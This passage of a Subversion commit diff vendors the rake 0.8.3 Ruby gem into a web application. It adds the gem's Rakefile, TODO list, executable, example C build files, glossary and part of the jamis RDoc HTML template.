+<tt>ENV</tt> and may be tested in the Rakefile.
+
+---
+
+= Rakefile Format
+
+See doc/rakefile.rdoc[http://rake.rubyforge.org/files/doc/rakefile_rdoc.html]
+for details on the Rakefile format.
+
+---
+
+= Other stuff
+
+Author::   Jim Weirich <jim at weirichhouse.org>
+Requires:: Ruby 1.8.0 or later
+License::  Copyright 2003, 2004 by Jim Weirich.
+           Released under an MIT-style license.  See the LICENSE file
+           included in the distribution.
+
+== Warranty
+
+This software is provided "as is" and without any express or
+implied warranties, including, without limitation, the implied
+warranties of merchantibility and fitness for a particular
+purpose.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,418 @@
+# Rakefile for rake        -*- ruby -*-
+
+# Copyright 2003, 2004, 2005 by Jim Weirich (jim at weirichhouse.org)
+# All rights reserved.
+
+# This file may be distributed under an MIT style license.  See
+# MIT-LICENSE for details.
+
+begin
+  require 'rubygems'
+  require 'rake/gempackagetask'
+rescue Exception
+  nil
+end
+require 'rake/clean'
+require 'rake/testtask'
+require 'rake/rdoctask'
+
+CLEAN.include('**/*.o', '*.dot', '**/.*.rbc')
+CLOBBER.include('doc/example/main', 'testdata')
+CLOBBER.include('test/data/**/temp_*')
+CLOBBER.include('test/data/chains/play.*')
+CLOBBER.include('test/data/file_creation_task/build')
+CLOBBER.include('test/data/file_creation_task/src')
+CLOBBER.include('TAGS')
+CLOBBER.include('coverage', 'rcov_aggregate')
+
+# Prevent OS X from including extended attribute junk in the tar output
+ENV['COPY_EXTENDED_ATTRIBUTES_DISABLE'] = 'true'
+
+def announce(msg='')
+  STDERR.puts msg
+end
+
+# Determine the current version of the software
+
+if `ruby -Ilib ./bin/rake --version` =~ /rake, version ([0-9.]+)$/
+  CURRENT_VERSION = $1
+else
+  CURRENT_VERSION = "0.0.0"
+end
+
+$package_version = CURRENT_VERSION
+
+SRC_RB = FileList['lib/**/*.rb']
+
+# The default task is run if rake is given no explicit arguments.
+
+desc "Default Task"
+task :default => :test_all
+
+# Test Tasks ---------------------------------------------------------
+task :dbg do |t|
+  puts "Arguments are: #{t.args.join(', ')}"
+end
+
+# Common Abbreviations ...
+
+task :ta => :test_all
+task :tf => :test_functional
+task :tu => :test_units
+task :tc => :test_contribs
+task :test => :test_units
+
+Rake::TestTask.new(:test_all) do |t|
+  t.test_files = FileList[
+    'test/test*.rb',
+    'test/contrib/test*.rb',
+    'test/fun*.rb'
+  ]
+  t.warning = true
+  t.verbose = false
+end
+
+Rake::TestTask.new(:test_units) do |t|
+  t.test_files = FileList['test/test*.rb']
+  t.warning = true
+  t.verbose = false
+end
+
+Rake::TestTask.new(:test_functional) do |t|
+  t.test_files = FileList['test/fun*.rb']
+  t.warning = true
+  t.verbose = false
+end
+
+Rake::TestTask.new(:test_contribs) do |t|
+  t.test_files = FileList['test/contrib/test*.rb']
+  t.warning = true
+  t.verbose = false
+end
+
+begin
+  require 'rcov/rcovtask'
+
+  Rcov::RcovTask.new do |t|
+    t.libs << "test"
+    dot_rakes = 
+    t.rcov_opts = [
+      '-xRakefile', '-xrakefile', '-xpublish.rf',
+      '-xlib/rake/contrib', '-x/Library', 
+      '--text-report',
+      '--sort coverage'
+    ] + FileList['rakelib/*.rake'].pathmap("-x%p")
+    t.test_files = FileList[
+      'test/test*.rb', 'test/functional.rb'
+    ]
+    t.output_dir = 'coverage'
+    t.verbose = true
+  end
+rescue LoadError
+  puts "RCov is not available"
+end
+
+directory 'testdata'
+[:test_all, :test_units, :test_contribs, :test_functional].each do |t|
+  task t => ['testdata']
+end
+
+# CVS Tasks ----------------------------------------------------------
+
+# Install rake using the standard install.rb script.
+
+desc "Install the application"
+task :install do
+  ruby "install.rb"
+end
+
+# Create a task to build the RDOC documentation tree.
+
+rd = Rake::RDocTask.new("rdoc") { |rdoc|
+  rdoc.rdoc_dir = 'html'
+#  rdoc.template = 'kilmer'
+#  rdoc.template = 'css2'
+  rdoc.template = 'doc/jamis.rb'
+  rdoc.title    = "Rake -- Ruby Make"
+  rdoc.options << '--line-numbers' << '--inline-source' <<
+    '--main' << 'README' <<
+    '--title' <<  'Rake -- Ruby Make' 
+  rdoc.rdoc_files.include('README', 'MIT-LICENSE', 'TODO', 'CHANGES')
+  rdoc.rdoc_files.include('lib/**/*.rb', 'doc/**/*.rdoc')
+  rdoc.rdoc_files.exclude(/\bcontrib\b/)
+}
+
+# ====================================================================
+# Create a task that will package the Rake software into distributable
+# tar, zip and gem files.
+
+PKG_FILES = FileList[
+  'install.rb',
+  '[A-Z]*',
+  'bin/**/*', 
+  'lib/**/*.rb', 
+  'test/**/*.rb',
+  'test/**/*.rf',
+  'test/**/*.mf',
+  'test/**/Rakefile',
+  'test/**/subdir',
+  'doc/**/*'
+]
+PKG_FILES.exclude('doc/example/*.o')
+PKG_FILES.exclude(%r{doc/example/main$})
+
+if ! defined?(Gem)
+  puts "Package Target requires RubyGEMs"
+else
+  SPEC = Gem::Specification.new do |s|
+    
+    #### Basic information.
+
+    s.name = 'rake'
+    s.version = $package_version
+    s.summary = "Ruby based make-like utility."
+    s.description = <<-EOF
+      Rake is a Make-like program implemented in Ruby. Tasks
+      and dependencies are specified in standard Ruby syntax. 
+    EOF
+
+    #### Dependencies and requirements.
+
+    #s.add_dependency('log4r', '> 1.0.4')
+    #s.requirements << ""
+
+    #### Which files are to be included in this gem?  Everything!  (Except CVS directories.)
+
+    s.files = PKG_FILES.to_a
+
+    #### C code extensions.
+
+    #s.extensions << "ext/rmagic/extconf.rb"
+
+    #### Load-time details: library and application (you will need one or both).
+
+    s.require_path = 'lib'                         # Use these for libraries.
+
+    s.bindir = "bin"                               # Use these for applications.
+    s.executables = ["rake"]
+    s.default_executable = "rake"
+
+    #### Documentation and testing.
+
+    s.has_rdoc = true
+    s.extra_rdoc_files = rd.rdoc_files.reject { |fn| fn =~ /\.rb$/ }.to_a
+    s.rdoc_options = rd.options
+
+    #### Author and project details.
+
+    s.author = "Jim Weirich"
+    s.email = "jim at weirichhouse.org"
+    s.homepage = "http://rake.rubyforge.org"
+    s.rubyforge_project = "rake"
+#     if ENV['CERT_DIR']
+#       s.signing_key = File.join(ENV['CERT_DIR'], 'gem-private_key.pem')
+#       s.cert_chain  = [File.join(ENV['CERT_DIR'], 'gem-public_cert.pem')]
+#     end
+  end
+
+  package_task = Rake::GemPackageTask.new(SPEC) do |pkg|
+    pkg.need_zip = true
+    pkg.need_tar = true
+  end
+
+  file "rake.gemspec" => ["Rakefile", "lib/rake.rb"] do |t|
+    require 'yaml'
+    open(t.name, "w") { |f| f.puts SPEC.to_yaml }
+  end
+
+  desc "Create a stand-alone gemspec"
+  task :gemspec => "rake.gemspec"
+end
+
+# Misc tasks =========================================================
+
+def count_lines(filename)
+  lines = 0
+  codelines = 0
+  open(filename) { |f|
+    f.each do |line|
+      lines += 1
+      next if line =~ /^\s*$/
+      next if line =~ /^\s*#/
+      codelines += 1
+    end
+  }
+  [lines, codelines]
+end
+
+def show_line(msg, lines, loc)
+  printf "%6s %6s   %s\n", lines.to_s, loc.to_s, msg
+end
+
+desc "Count lines in the main rake file"
+task :lines do
+  total_lines = 0
+  total_code = 0
+  show_line("File Name", "LINES", "LOC")
+  SRC_RB.each do |fn|
+    lines, codelines = count_lines(fn)
+    show_line(fn, lines, codelines)
+    total_lines += lines
+    total_code  += codelines
+  end
+  show_line("TOTAL", total_lines, total_code)
+end
+
+# Define an optional publish target in an external file.  If the
+# publish.rf file is not found, the publish targets won't be defined.
+
+load "publish.rf" if File.exist? "publish.rf"
+
+# Support Tasks ------------------------------------------------------
+
+RUBY_FILES = FileList['**/*.rb'].exclude('pkg')
+
+desc "Look for TODO and FIXME tags in the code"
+task :todo do
+  RUBY_FILES.egrep(/#.*(FIXME|TODO|TBD)/)
+end
+
+desc "Look for Debugging print lines"
+task :dbg do
+  RUBY_FILES.egrep(/\bDBG|\bbreakpoint\b/)
+end
+
+desc "List all ruby files"
+task :rubyfiles do 
+  puts RUBY_FILES
+  puts FileList['bin/*'].exclude('bin/*.rb')
+end
+task :rf => :rubyfiles
+
+desc "Create a TAGS file"
+task :tags => "TAGS"
+
+TAGS = 'xctags -e'
+
+file "TAGS" => RUBY_FILES do
+  puts "Makings TAGS"
+  sh "#{TAGS} #{RUBY_FILES}", :verbose => false
+end
+
+# --------------------------------------------------------------------
+# Creating a release
+
+def plugin(plugin_name)
+  require "rake/plugins/#{plugin_name}"
+end
+
+task :noop
+#plugin "release_manager"
+
+desc "Make a new release"
+task :release, :rel, :reuse, :reltest,
+  :needs => [
+    :prerelease,
+    :clobber,
+    :test_all,
+    :update_version,
+    :package,
+    :tag
+  ] do
+  announce 
+  announce "**************************************************************"
+  announce "* Release #{$package_version} Complete."
+  announce "* Packages ready to upload."
+  announce "**************************************************************"
+  announce 
+end
+
+# Validate that everything is ready to go for a release.
+task :prerelease, :rel, :reuse, :reltest do |t, args|
+  $package_version = args.rel
+  announce 
+  announce "**************************************************************"
+  announce "* Making RubyGem Release #{$package_version}"
+  announce "* (current version #{CURRENT_VERSION})"
+  announce "**************************************************************"
+  announce  
+
+  # Is a release number supplied?
+  unless args.rel
+    fail "Usage: rake release[X.Y.Z] [REUSE=tag_suffix]"
+  end
+
+  # Is the release different than the current release.
+  # (or is REUSE set?)
+  if $package_version == CURRENT_VERSION && ! args.reuse
+    fail "Current version is #{$package_version}, must specify REUSE=tag_suffix to reuse version"
+  end
+
+  # Are all source files checked in?
+  if args.reltest
+    announce "Release Task Testing, skipping checked-in file test"
+  else
+    announce "Checking for unchecked-in files..."
+    data = `svn st`
+    unless data =~ /^$/
+      abort "svn status is not clean ... do you have unchecked-in files?"
+    end
+    announce "No outstanding checkins found ... OK"
+  end
+end
+
+task :update_version, :rel, :reuse, :reltest,
+  :needs => [:prerelease] do |t, args|
+  if args.rel == CURRENT_VERSION
+    announce "No version change ... skipping version update"
+  else
+    announce "Updating Rake version to #{args.rel}"
+    open("lib/rake.rb") do |rakein|
+      open("lib/rake.rb.new", "w") do |rakeout|
+	rakein.each do |line|
+	  if line =~ /^RAKEVERSION\s*=\s*/
+	    rakeout.puts "RAKEVERSION = '#{args.rel}'"
+	  else
+	    rakeout.puts line
+	  end
+	end
+      end
+    end
+    mv "lib/rake.rb.new", "lib/rake.rb"
+    if args.reltest
+      announce "Release Task Testing, skipping commiting of new version"
+    else
+      sh %{svn commit -m "Updated to version #{args.rel}" lib/rake.rb} # "
+    end
+  end
+end
+
+desc "Tag all the CVS files with the latest release number (REL=x.y.z)"
+task :tag, :rel, :reuse, :reltest,
+  :needs => [:prerelease] do |t, args|
+  reltag = "REL_#{args.rel.gsub(/\./, '_')}"
+  reltag << args.reuse.gsub(/\./, '_') if args.reuse
+  announce "Tagging Repository with [#{reltag}]"
+  if args.reltest
+    announce "Release Task Testing, skipping CVS tagging"
+  else
+    sh %{svn copy svn+ssh://rubyforge.org/var/svn/rake/trunk svn+ssh://rubyforge.org/var/svn/rake/tags/#{reltag} -m 'Commiting release #{reltag}'} ###'
+  end
+end
+
+desc "Install the jamis RDoc template"
+task :install_jamis_template do
+  require 'rbconfig'
+  dest_dir = File.join(Config::CONFIG['rubylibdir'], "rdoc/generators/template/html")
+  fail "Unabled to write to #{dest_dir}" unless File.writable?(dest_dir)
+  install "doc/jamis.rb", dest_dir, :verbose => true
+end
+
+# Require experimental XForge/Metaproject support.
+
+load 'xforge.rf' if File.exist?('xforge.rf')
+
+desc "Where is the current directory.  This task displays\nthe current rake directory"
+task :where_am_i do
+  puts Rake.original_dir
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/TODO
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/TODO	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/TODO	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+= Rake Project -- To Do List
+
+Send suggestions for this list to mailto:jim at weirichhouse.org or on
+the rake-devel at rubyforge.org mailing list.
+
+=== To Do
+* Need a nice API for accessing tasks in namespaces, namespaces in an app, etc.
+* Provide a way to disable -w warning mode.
+* Define a set of default rules that work in the absense of any Rakefile
+* What about cyclic dependencies?
+* Java support utilities
+* Installation support utilities
+  * Check out installpkg.rb
+* Autogenerate Dependencies
+* Rules should apply to existing tasks if no actions are defined.
+* How to create multiple package tasks without task name collision?
+* Trap "ln -s" commands that fail and use "cp" instead (SMB mounted
+  drives have problems with "ln -s".
+
+(moved DONE list to CHANGES file)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/bin/rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/bin/rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/bin/rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,31 @@
+#!/usr/bin/env ruby
+
+#--
+# Copyright (c) 2003, 2004, 2005, 2006, 2007  Jim Weirich
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to
+# deal in the Software without restriction, including without limitation the
+# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+# sell copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+# IN THE SOFTWARE.
+#++
+
+begin
+  require 'rake'
+rescue LoadError
+  require 'rubygems'
+  require 'rake'
+end
+Rake.application.run


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/bin/rake
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/Rakefile1
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/Rakefile1	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/Rakefile1	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,38 @@
+# Example Rakefile -*- ruby -*-
+
+task :default => [:main]
+
+file "a.o" => ["a.c"] do |t|
+  src = t.name.sub(/\.o$/, '.c')
+  sh "gcc #{src} -c -o #{t.name}"
+end
+
+file "b.o" => ["b.c"] do |t|
+  src = t.name.sub(/\.o$/, '.c')
+  sh "gcc #{src} -c -o #{t.name}"
+end
+
+file "main.o" => ["main.c"] do |t|
+  src = t.name.sub(/\.o$/, '.c')
+  sh "gcc #{src} -c -o #{t.name}"
+end
+
+OBJFILES = ["a.o", "b.o", "main.o"]
+task :obj => OBJFILES
+
+file "main" => OBJFILES do |t|
+  sh "gcc -o #{t.name} main.o a.o b.o"
+end
+
+task :clean do
+  rm_f FileList['*.o']
+  Dir['*~'].each { |fn| rm_f fn }
+end
+
+task :clobber => [:clean] do
+  rm_f "main"
+end
+
+task :run => ["main"] do
+  sh "./main"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/Rakefile2
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/Rakefile2	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/Rakefile2	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+# Example Rakefile -*- ruby -*-
+# Using the power of Ruby
+
+task :default => [:main]
+
+def ext(fn, newext)
+  fn.sub(/\.[^.]+$/, newext)
+end
+
+SRCFILES = Dir['*.c']
+OBJFILES = SRCFILES.collect { |fn| ext(fn,".o") }
+
+OBJFILES.each do |objfile|
+  srcfile = ext(objfile, ".c")
+  file objfile => [srcfile] do |t|
+    sh "gcc #{srcfile} -c -o #{t.name}"
+  end
+end
+
+file "main" => OBJFILES do |t|
+  sh "gcc -o #{t.name} main.o a.o b.o"
+end
+
+task :clean do
+  rm_f FileList['*.o']
+  Dir['*~'].each { |fn| rm_f fn }
+end
+
+task :clobber => [:clean] do
+  rm_f "main"
+end
+
+task :run => ["main"] do
+  sh "./main"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/a.c
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/a.c	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/a.c	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+#include <stdio.h>
+
+void a()
+{
+    printf ("In function a\n");
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/b.c
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/b.c	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/b.c	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+#include <stdio.h>
+
+void b()
+{
+    printf ("In function b\n");
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/main.c
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/main.c	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/main.c	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+extern void a();
+extern void b();
+
+int main ()
+{
+    a();
+    b();
+    return 0;
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/glossary.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/glossary.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/glossary.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,51 @@
+= Glossary
+
+[<b>action</b>]
+	Code to be executed in order to perform a task.  Actions in a
+	rakefile are specified in a code block (usually delimited by
+	+do+/+end+ pairs.
+
+[<b>execute</b>]
+	When a task is executed, all of its actions are performed, in
+	the order they were defined.  Note that unlike
+	<tt>invoke</tt>, <tt>execute</tt> always executes the actions
+	(without invoking or executing the prerequisites).
+
+[<b>file task</b> (FileTask)]
+	 A file task is a task whose purpose is to create a file
+	 (which has the same name as the task).  When invoked, a file
+	 task will only execute if one or more of the following
+	 conditions are true.
+
+         1. The associated file does not exist.
+	 2. A prerequisite has a later time stamp than the existing file.
+
+	 Because normal Tasks always have the current time as
+	 timestamp, a FileTask that has a normal Task prerequisite
+	 will always execute.
+
+[<b>invoke</b>]
+	When a task is invoked, first we check to see if it has been
+	invoked before.  if it has been, then nothing else is done.
+	If this is the first time its been invoked, then we invoke
+	each of its prerequisites.  Finally, we check to see if we
+	need to execute the actions of this task by calling
+	<tt>needed?</tt>.  Finally, if the task is needed, we execute
+	its actions.
+
+	NOTE: Currently prerequisites are invoked even if the task is
+	not needed.  This may change in the future.
+
+[<b>prerequisites</b>]
+	Every task has a set (possiblity empty) of prerequisites.  A
+	prerequisite P to Task T is itself a task that must be invoked
+	before Task T.  
+
+[<b>rule</b>]
+	A rule is a recipe for synthesizing a task when no task is
+	explicitly defined.  Rules generally synthesize file tasks.
+
+[<b>task</b> (Task)]
+	Basic unit of work in a rakefile.  A task has a name, a set of
+	prerequisites and a list of actions to be performed.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/jamis.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/jamis.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/jamis.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,591 @@
+module RDoc
+module Page
+
+FONTS = "\"Bitstream Vera Sans\", Verdana, Arial, Helvetica, sans-serif"
+
+STYLE = <<CSS
+a {
+  color: #00F;
+  text-decoration: none;
+}
+
+a:hover {
+  color: #77F;
+  text-decoration: underline;
+}
+
+body, td, p {
+  font-family: %fonts%;
+  background: #FFF;
+  color: #000;
+  margin: 0px;
+  font-size: small;
+}
+
+#content {
+  margin: 2em;
+}
+
+#description p {
+  margin-bottom: 0.5em;
+}
+
+.sectiontitle {
+  margin-top: 1em;
+  margin-bottom: 1em;
+  padding: 0.5em;
+  padding-left: 2em;
+  background: #005;
+  color: #FFF;
+  font-weight: bold;
+  border: 1px dotted black;
+}
+
+.attr-rw {
+  padding-left: 1em;
+  padding-right: 1em;
+  text-align: center;
+  color: #055;
+}
+
+.attr-name {
+  font-weight: bold;
+}
+
+.attr-desc {
+}
+
+.attr-value {
+  font-family: monospace;
+}
+
+.file-title-prefix {
+  font-size: large;
+}
+
+.file-title {
+  font-size: large;
+  font-weight: bold;
+  background: #005;
+  color: #FFF;
+}
+
+.banner {
+  background: #005;
+  color: #FFF;
+  border: 1px solid black;
+  padding: 1em;
+}
+
+.banner td {
+  background: transparent;
+  color: #FFF;
+}
+
+h1 a, h2 a, .sectiontitle a, .banner a {
+  color: #FF0;
+}
+
+h1 a:hover, h2 a:hover, .sectiontitle a:hover, .banner a:hover {
+  color: #FF7;
+}
+
+.dyn-source {
+  display: none;
+  background: #FFE;
+  color: #000;
+  border: 1px dotted black;
+  margin: 0.5em 2em 0.5em 2em;
+  padding: 0.5em;
+}
+
+.dyn-source .cmt {
+  color: #00F;
+  font-style: italic;
+}
+
+.dyn-source .kw {
+  color: #070;
+  font-weight: bold;
+}
+
+.method {
+  margin-left: 1em;
+  margin-right: 1em;
+  margin-bottom: 1em;
+}
+
+.description pre {
+  padding: 0.5em;
+  border: 1px dotted black;
+  background: #FFE;
+}
+
+.method .title {
+  font-family: monospace;
+  font-size: large;
+  border-bottom: 1px dashed black;
+  margin-bottom: 0.3em;
+  padding-bottom: 0.1em;
+}
+
+.method .description, .method .sourcecode {
+  margin-left: 1em;
+}
+
+.description p, .sourcecode p {
+  margin-bottom: 0.5em;
+}
+
+.method .sourcecode p.source-link {
+  text-indent: 0em;
+  margin-top: 0.5em;
+}
+
+.method .aka {
+  margin-top: 0.3em;
+  margin-left: 1em;
+  font-style: italic;
+  text-indent: 2em;
+}
+
+h1 {
+  padding: 1em;
+  border: 1px solid black;
+  font-size: x-large;
+  font-weight: bold;
+  color: #FFF;
+  background: #007;
+}
+
+h2 {
+  padding: 0.5em 1em 0.5em 1em;
+  border: 1px solid black;
+  font-size: large;
+  font-weight: bold;
+  color: #FFF;
+  background: #009;
+}
+
+h3, h4, h5, h6 {
+  padding: 0.2em 1em 0.2em 1em;
+  border: 1px dashed black;
+  color: #000;
+  background: #AAF;
+}
+
+.sourcecode > pre {
+  padding: 0.5em;
+  border: 1px dotted black;
+  background: #FFE;
+}
+
+CSS
+
+XHTML_PREAMBLE = %{<?xml version="1.0" encoding="%charset%"?>
+<!DOCTYPE html 
+     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+}
+
+HEADER = XHTML_PREAMBLE + <<ENDHEADER
+<html>
+  <head>
+    <title>%title%</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=%charset%" />
+    <link rel="stylesheet" href="%style_url%" type="text/css" media="screen" />
+
+    <script language="JavaScript" type="text/javascript">
+    // <![CDATA[
+
+        function toggleSource( id )
+        {
+          var elem
+          var link
+
+          if( document.getElementById )
+          {
+            elem = document.getElementById( id )
+            link = document.getElementById( "l_" + id )
+          }
+          else if ( document.all )
+          {
+            elem = eval( "document.all." + id )
+            link = eval( "document.all.l_" + id )
+          }
+          else
+            return false;
+
+          if( elem.style.display == "block" )
+          {
+            elem.style.display = "none"
+            link.innerHTML = "show source"
+          }
+          else
+          {
+            elem.style.display = "block"
+            link.innerHTML = "hide source"
+          }
+        }
+
+        function openCode( url )
+        {
+          window.open( url, "SOURCE_CODE", "width=400,height=400,scrollbars=yes" )
+        }
+      // ]]>
+    </script>
+  </head>
+
+  <body>
+ENDHEADER
+
+FILE_PAGE = <<HTML
+<table border='0' cellpadding='0' cellspacing='0' width="100%" class='banner'>
+  <tr><td>
+    <table width="100%" border='0' cellpadding='0' cellspacing='0'><tr>
+      <td class="file-title" colspan="2"><span class="file-title-prefix">File</span><br />%short_name%</td>
+      <td align="right">
+        <table border='0' cellspacing="0" cellpadding="2">
+          <tr>
+            <td>Path:</td>
+            <td>%full_path%
+IF:cvsurl
+              &nbsp;(<a href="%cvsurl%">CVS</a>)
+ENDIF:cvsurl
+            </td>
+          </tr>
+          <tr>
+            <td>Modified:</td>
+            <td>%dtm_modified%</td>
+          </tr>
+        </table>
+      </td></tr>
+    </table>
+  </td></tr>
+</table><br>
+HTML
+
+###################################################################
+
+CLASS_PAGE = <<HTML
+<table width="100%" border='0' cellpadding='0' cellspacing='0' class='banner'><tr>
+  <td class="file-title"><span class="file-title-prefix">%classmod%</span><br />%full_name%</td>
+  <td align="right">
+    <table cellspacing=0 cellpadding=2>
+      <tr valign="top">
+        <td>In:</td>
+        <td>
+START:infiles
+HREF:full_path_url:full_path:
+IF:cvsurl
+&nbsp;(<a href="%cvsurl%">CVS</a>)
+ENDIF:cvsurl
+END:infiles
+        </td>
+      </tr>
+IF:parent
+    <tr>
+      <td>Parent:</td>
+      <td>
+IF:par_url
+        <a href="%par_url%">
+ENDIF:par_url
+%parent%
+IF:par_url
+         </a>
+ENDIF:par_url
+     </td>
+   </tr>
+ENDIF:parent
+         </table>
+        </td>
+        </tr>
+      </table>
+HTML
+
+###################################################################
+
+METHOD_LIST = <<HTML
+  <div id="content">
+IF:diagram
+  <table cellpadding='0' cellspacing='0' border='0' width="100%"><tr><td align="center">
+    %diagram%
+  </td></tr></table>
+ENDIF:diagram
+
+IF:description
+  <div class="description">%description%</div>
+ENDIF:description
+
+IF:requires
+  <div class="sectiontitle">Required Files</div>
+  <ul>
+START:requires
+  <li>HREF:aref:name:</li>
+END:requires
+  </ul>
+ENDIF:requires
+
+IF:toc
+  <div class="sectiontitle">Contents</div>
+  <ul>
+START:toc
+  <li><a href="#%href%">%secname%</a></li>
+END:toc
+  </ul>
+ENDIF:toc
+
+IF:methods
+  <div class="sectiontitle">Methods</div>
+  <ul>
+START:methods
+  <li>HREF:aref:name:</li>
+END:methods
+  </ul>
+ENDIF:methods
+
+IF:includes
+<div class="sectiontitle">Included Modules</div>
+<ul>
+START:includes
+  <li>HREF:aref:name:</li>
+END:includes
+</ul>
+ENDIF:includes
+
+START:sections
+IF:sectitle
+<div class="sectiontitle"><a nem="%secsequence%">%sectitle%</a></div>
+IF:seccomment
+<div class="description">
+%seccomment%
+</div>
+ENDIF:seccomment
+ENDIF:sectitle
+
+IF:classlist
+  <div class="sectiontitle">Classes and Modules</div>
+  %classlist%
+ENDIF:classlist
+
+IF:constants
+  <div class="sectiontitle">Constants</div>
+  <table border='0' cellpadding='5'>
+START:constants
+  <tr valign='top'>
+    <td class="attr-name">%name%</td>
+    <td>=</td>
+    <td class="attr-value">%value%</td>
+  </tr>
+IF:desc
+  <tr valign='top'>
+    <td>&nbsp;</td>
+    <td colspan="2" class="attr-desc">%desc%</td>
+  </tr>
+ENDIF:desc
+END:constants
+  </table>
+ENDIF:constants
+
+IF:attributes
+  <div class="sectiontitle">Attributes</div>
+  <table border='0' cellpadding='5'>
+START:attributes
+  <tr valign='top'>
+    <td class='attr-rw'>
+IF:rw
+[%rw%]
+ENDIF:rw
+    </td>
+    <td class='attr-name'>%name%</td>
+    <td class='attr-desc'>%a_desc%</td>
+  </tr>
+END:attributes
+  </table>
+ENDIF:attributes
+
+IF:method_list
+START:method_list
+IF:methods
+<div class="sectiontitle">%type% %category% methods</div>
+START:methods
+<div class="method">
+  <div class="title">
+IF:callseq
+    <a name="%aref%"></a><b>%callseq%</b>
+ENDIF:callseq
+IFNOT:callseq
+    <a name="%aref%"></a><b>%name%</b>%params%
+ENDIF:callseq
+IF:codeurl
+[ <a href="javascript:openCode('%codeurl%')">source</a> ]
+ENDIF:codeurl
+  </div>
+IF:m_desc
+  <div class="description">
+  %m_desc%
+  </div>
+ENDIF:m_desc
+IF:aka
+<div class="aka">
+  This method is also aliased as
+START:aka
+  <a href="%aref%">%name%</a>
+END:aka
+</div>
+ENDIF:aka
+IF:sourcecode
+<div class="sourcecode">
+  <p class="source-link">[ <a href="javascript:toggleSource('%aref%_source')" id="l_%aref%_source">show source</a> ]</p>
+  <div id="%aref%_source" class="dyn-source">
+<pre>
+%sourcecode%
+</pre>
